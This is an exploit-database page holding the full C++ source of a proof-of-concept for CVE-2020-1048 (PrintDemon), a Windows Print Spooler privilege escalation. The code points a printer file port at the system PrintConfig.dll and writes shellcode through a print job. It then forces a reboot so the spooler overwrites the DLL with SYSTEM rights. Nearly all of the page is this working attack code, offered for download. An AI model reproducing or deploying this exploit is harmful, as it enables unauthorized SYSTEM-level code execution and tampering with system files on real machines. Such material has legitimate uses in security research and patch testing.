Exploit database

GH-c27915f22148942b370130421859e160

talsim/printdemon2system

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-1048

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
talsim/printdemon2systemRevision 3ad85da40601

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

printDemon2system/exploit.cpp

C++ · 4,305 bytes
#include <stdio.h>
#include <windows.h>
#include <ntsecapi.h>
#include "printConfigResource.h"
#pragma comment(lib,"ntdll.lib")

void findPrintDllPath(wchar_t*);

wchar_t driverName[] = L"Generic / Text Only";
wchar_t printerName[] = L"printDemon2system";
wchar_t printDllPath[MAX_PATH] = L""; // port

extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN WasEnabled);
extern "C" NTSTATUS NTAPI NtShutdownSystem(ULONG ShutdownAction);

int main()
{
	findPrintDllPath(printDllPath);

	puts("PrintDemon (CVE-2020-1048) Privilege Escalation");

	// Add the "Generic / Text Only" printer driver (to be ready to use)
	puts("[*] Adding \"Generic / Text Only\" printer driver\n");
	HRESULT hr = InstallPrinterDriverFromPackageW(nullptr, nullptr, driverName, nullptr, 0);
	if (FAILED(hr)) {
		printf("[!] InstallPrinterDriverFromPackageW() failed: 0x%lx\n", hr);
		return 1;
	}

	// Add the file port with XcvData("AddPort", "C:\Windows\System32...\PrintConfig.dll")  
	printf("[*] Setting the file port to %S\n", printDllPath);
	HANDLE hXcv;
	PRINTER_DEFAULTSW printerDefaults = {};
	printerDefaults.pDatatype = nullptr;
	printerDefaults.pDevMode = nullptr;
	printerDefaults.DesiredAccess = SERVER_ACCESS_ADMINISTER;
	wchar_t XcvMonitor[] = L",XcvMonitor Local Port";
	bool succeeded = OpenPrinterW(XcvMonitor, &hXcv, &printerDefaults);
	if (!succeeded) {
		printf("[!] OpenPrinterW() failed: 0x%lx\n", GetLastError());
		return 1;
	}

	DWORD pathSize = (DWORD)((wcslen(printDllPath) + 1) * sizeof(WCHAR));
	DWORD status = 0;
	succeeded = XcvDataW(hXcv, L"AddPort", (BYTE*)printDllPath, pathSize, nullptr, 0, &pathSize, &status);
	if (!succeeded) {
		printf("[!] XcvDataW failed: 0x%lx\n", GetLastError());
		return 1;
	}

	// Bind the file port to the printer driver with AddPrinter()
	printf("[*] Adding a printer named \"%S\"\n\n", printerName);
	wchar_t printProcessor[] = L"WinPrint";
	wchar_t dataType[] = L"RAW";
	PRINTER_INFO_2 printerInfo = {};
	printerInfo.pPortName = printDllPath;
	printerInfo.pPrinterName = printerName;
	printerInfo.pDriverName = driverName;
	printerInfo.pPrintProcessor = printProcessor;
	printerInfo.pDatatype = dataType;
	printerInfo.Attributes = PRINTER_ATTRIBUTE_RAW_ONLY;

	HANDLE hPrinter = AddPrinterW(nullptr, 2, (LPBYTE)&printerInfo);
	if (hPrinter == NULL) {
		printf("[!] AddPrinterW failed: 0x%lx\n", GetLastError());
		return 1;
	}

	// Start the print job
	wchar_t docName[] = L"document";
	puts("[**] Starting a print job\n");
	DOC_INFO_1 docInfo = {};
	docInfo.pDatatype = dataType;
	docInfo.pOutputFile = nullptr;
	docInfo.pDocName = docName;
	DWORD jobId = StartDocPrinterW(hPrinter, 1, (LPBYTE)&docInfo);
	if (!jobId) {
		printf("[!] StartDocPrinterW() failed: 0x%lx", GetLastError());
		return 1;
	}

	printf("[**] Created Job ID: %d\n", jobId);

	puts("[***] Writing shellcode to the printer\n");
	DWORD dwNeeded = 0; // written bytes
	succeeded = WritePrinter(hPrinter, payload, payload_len, &dwNeeded);
	if (!succeeded) {
		printf("[!] WritePrinter() failed: 0x%lx\n", GetLastError());
		return 1;
	}

	EndDocPrinter(hPrinter);
	ClosePrinter(hPrinter);

	// Restart the machine so that on startup, spoolsv.exe will perform the write with its own SYSTEM token
	// It'll overwrite PrintConfig.dll with our payload
	puts("[***] Restarting the machine to finish the overwrite of PrintConfig.dll\n");
	Sleep(2000);

	BOOLEAN wasEnabled;
	ULONG SE_SHUTDOWN_PRIVILEGE = 19UL;
	RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, &wasEnabled);

	ULONG ShutdownReboot = 1;
	NtShutdownSystem(ShutdownReboot);
	
	return 0;
}

// Find absolute path of PrintConfig.dll in C:\Windows\System32\DriverStore\...
void findPrintDllPath(wchar_t* dllDir)
{
	// We know that there will always be exactly one directory (mostly) that contains the amd64 version of PrintConfig.dll
	WIN32_FIND_DATA findFileData = {};
	HANDLE hFind;
	hFind = FindFirstFileW(L"C:\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64*", &findFileData);
	if (hFind == INVALID_HANDLE_VALUE) {
		printf("[!] FindFirstFileW failed: 0x%lx\n", GetLastError());
		abort();
	}

	swprintf(dllDir, MAX_PATH, L"C:\\Windows\\System32\\DriverStore\\FileRepository\\%s\\Amd64\\PrintConfig.dll", findFileData.cFileName);
	FindClose(hFind);
}